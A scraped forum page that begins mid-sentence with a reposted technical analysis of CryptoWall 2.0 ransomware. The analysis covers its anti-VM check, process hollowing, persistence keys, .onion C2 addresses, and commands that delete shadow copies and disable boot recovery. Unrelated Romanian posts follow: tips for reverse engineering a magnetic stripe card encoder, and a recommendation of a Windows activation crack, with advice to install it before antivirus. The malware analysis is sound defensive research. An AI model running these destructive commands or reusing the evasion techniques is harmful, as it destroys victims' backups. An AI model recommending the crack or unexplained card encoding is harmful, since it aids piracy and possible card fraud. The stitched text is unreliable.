Table (IAT), and implements multiple features. The most important one is the Anti-VM Check. The Anti-VM code is quite simple: Figure 2: The CryptoWall simple Anti-VM check code. (Click to Enlarge.) If no VM is detected, another “dropper“ process is spawned in a suspended state. The “ZwUnmapViewOfSection” API is used to unmap the original PE buffer. A new memory chunk is allocated and a new PE (extracted and decrypted from the “.data” section) is copied into its preferred base address. Then a new thread process is resumed with the following new context and the original process terminates: EAX register is set to the new PE entry point address; EBX register is set to a still unknown value: 7ffd8008 Installing Cryptowall on System The “VirusExplorerMain” routine in the faked “explorer” process constructs the IAT and installs CryptoWall on the victim system. The first step is to create an executable with the name based on the computer’s MD5 hash. This executable is copied to the location specified by the “%APPDATA%” environment variable (“C:\Users\<Username>\AppData\Roaming”). To maintain persistence, an auto-start registry value is added in: HKCU\Software\Microsoft\Windows\CurrentVersion\Run HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce Note: The RunOnce value is preceded by a so that the process starts even in Safe Mode. The same random executable is copied to the “Startup” folder of the Start Menu. The last duty of the faked “explorer” process is to disable all system protections. The following shell commands are executed: vssadmin.exe Delete Shadows /All /Quiet bcdedit.exe /set {default} recoveryenabled No bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures The following services are also disabled: Security Center, Windows Defender, Windows Update, Background Intelligent Transfer Service, ERSvc, Windows Error Reporting Service. Finally, the original dropper file is terminated and the file is deleted. The Cryptowall PE is now injected into a faked “Svchost” process in the same way as the fake “explorer” process was created initially. The infection now continues in the faked “svchost” process. The “VirusSvchostMain” function (RVA 0x418C70) is the main infection routine. It constructs the virus IAT (importing functions from the following modules: ntdll, kernel32, advapi32, user32, wininet, ole32, gdi32), checks whether the installation is done, and creates the main Cryptowall event. It then creates the main Cryptowall Thread and tries to download the TOR client used for communication from one of the following URLs: If it succeeds in downloading the update file, it executes directly. The downloaded binary is an executable that is encrypted 3 times with a simple algorithm. After decryption, a clean PE file is extracted and launched. This PE file is peculiar because it has all its normal headers (DOS header, NT header, IAT, EAT, …) stripped. Its IAT and “.data” section reside in another big memory buffer. The decryption code deals with the correct linking and relocation. This clean PE is actually the Cryptowall TOR communication module. It implements a complete TOR Client that it utilizes for Command & Control communication. The TOR URLs used by the sample we analyzed were: crptarv4hcu24ijv.onion crptbfoi5i54ubez.onion crptcj7wd4oaafdl.onion Using hardcoded IP address in the PE, the malware connects to the TOR Server with an encrypted SSL connection on port 443 or 9090. After successfully connecting, it starts to generate the Cryptowall domain names using a customized Domain Generation Algorithm (DGA). The algorithm is located at offset + 0x2E9FC. Figure 3: The code of the DGA algorithm in the TOR client If the encrypted connection goes well, the communication with the Cryptowall Command & Control server will take places; otherwise the main thread sleeps for a random number of seconds and then retries with a new generated server name. Each of the many SSL connections Cryptowall 2.0 establishes uses random server names in the certificates. However, the client certificates share commonalities that are unique enough to make it possible to detect these client connections outbound. Cryptowall 2.0 makes many, many requests once installed. Initially Cryptowall 2.0 attempts to idenitfy the outside address for the network the system is operating on using the “GetExternalIpAddr” function. It accomplishes this by communicating with one of the following addresses: http://wtfismyip.com/text http://ip-addr.es http://myexternalip.com/raw http://curlmyip.com It starts with wtfismyip.com and stops after the first successful reply is received. In most situations, this means that it will end up only going to wtfismyip.com (since it is the first entry in the list). Although this is a fairly generic request, this shouldn’t be a very common occurrence in an enterprise network and can serve as a potential network indicator of this malware. Another interesting aspect of the sample that we analyzed is that includes some 64 bit code (and an exploit DLL) directly in its main 32-bit executable. Although the main module is running in 32-bit mode, it is capable of executing all the 64-bit functions it needs. It accomplishes this by performing a direct Processor execution context switch. The code pushes two 32-bit values on the stack: the target offset (only the low part) of the 64-bit function offset and a 64-bit selector. push <32Bit Selector> push <32Bit Low DWORD address> retf It finally performs a FAR RET (opcode 0xCB). As the Intel manuals say, this kind of opcode executes a “Far return”: a return to a calling procedure located in a different segment than the current code segment. The target code segment is a 64-bit one, and as result the processor switches the execution context. To return to 32-bit mode the code reverses this process: call $+5 ; This will push the 64-bit return address on the stack mov dword ptr [esp+4], <32Bit Selector> ; The same as PUSH <32bit value>, keep in mind mov dword ptr [esp], <32Bit Address> ; that all values are 8 byte wide in AMD64 mode retf This mixing between 64-bit code and the 32-bit main executable is even difficult for IDA to disassemble. FIgure 2 shows a dump of a Windows 7/8 64 bit Global Descriptor Table (GDT): Figure 4: A dump of the Global Descriptor Table of a 64-bit System As the reader can see, the descriptor 0x20 and the descriptor 0x30 are the Ring 3 code segments that describe the entire user-mode address space, one for 32 bit and one for 64 bit. Cryptowall utilizes the proper selectors for these two segment descriptors and switches between these the two execution modes during its operation. We were able to reverse this process and reconstruct the assembly language code (shown in Figure 3) that performs this switching between 32 & 64 bit by pushing the correct value before executing the far return instruction. Figure 5: Switching Between 32 & 64 bit Modes. (Click to Enlarge) Summary Ransomware is a growing threat to computer users. Variants continue to evolve in functionality and evasive capability. Just getting these complex samples to run in a sandbox can be challenging, making analysis more complicated and involved. Constant research is necessary to develop updated signatures and rules to combat these constant attacks. Identifying and stopping these new complex variants requires a layered security approach. Breaking any step in the attack chain will successfully prevent this attack. Therefore, blocking the initial phishing emails, blocking network connections to known malicious content, as well as stopping malicious process activity are critical to combating ransomware and preventing it from holding your data hostage. Protecting Users Against These Threats Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors. CWS or WSA web scanning prevents access to malicious websites, including the downloading of the malware downloaded during these attacks. The Network Security protection of IPS and NGFW have up-to-date signatures to detect malicious network activity by threat actors. ESA can block phishing emails sent by threat actors as part of this attack. Sursa: Ransomware on Steroids: Cryptowall 2.0

E perfect, exact ce aveai nevoie. Cat ai dat pe el? Mai mult de 200?

Uploadeaza undeva soft-ul si da-ne link. O sa ma uit putin peste el, dar nu promit nimic. Nu ai gasit nimic interesant: https://www.google.ro/search?q=c%2B%2B+magnetic+stripe+reader+usb&ie=utf-8&oe=utf-8&gws_rd=cr ?

MSR Reader-ul ala nu are si o aplicatie ceva? De facut, daca nu are documentatie, o sa fie greu. Daca e conectat pe USB, cauta un USB sniffer. Daca e pe port serial, un serial sniffer, ar trebui sa existe. Vezi ce pachete se trimit/primesc si poate iti dai seama cum functioneaza, cel putin partial. Edit: Am gasit asta: http://www.cardcolor.ro/cititoare/encoder-magnetic-msr-606 1x Encoder magnetic MSR606 1x CD(Manual utilizare, Driver USB, Software encodare) 1x A/C Adapter(100-240V, with plug for worldwide use: US, AU, UK or Europe) 1x Card curatare Cel mai probabil acel soft e pentru Windows si nu e open source. Vad ca e nevoie de un driver, sper sa nu ai probleme din cauza asta. Poti incerca sa faci reverse engineering la un nivel minimal, nu stiu... Daca ai noroc si e scris in .NET si neobfuscat, te-ai scos. Oricum, limbajul in care faci programul e irelevant, poate sa fie orice. Si ca tot veni vorba, ce vrei sa faci cu el mai exact?

NU luati de pe site-uri ca: download.windows7loadernew.com , download.windowsloaderdaz.com , dazloader.com ! Eu am folosit acasa: Zippyshare.com - Windows Loader v2 2 2 by Daz.zip Virustotal: https://www.virustotal.com/en/file/2f2aba1e074f5f4baa08b524875461889f8f04d4ffc43972ac212e286022ab94/analysis/1420535361/ (detectat ca HackTool, Crack, Keygen) Recomand totusi SURSA, cum a mentionat spider: Windows Loader - Support and chat - Page 1886 Nota: Instalati loader inainte de a instala antivirus, desi va supuneti la riscuri. Scanati pe virustotal. Daca instalati mai intai antivirus, va puteti alege cu MBR (master boot record) corupt si nu mai puteti boota.

Aveti grija de unde descarcati Windows 7 Loader, eu am gasit si versiune cu Adware...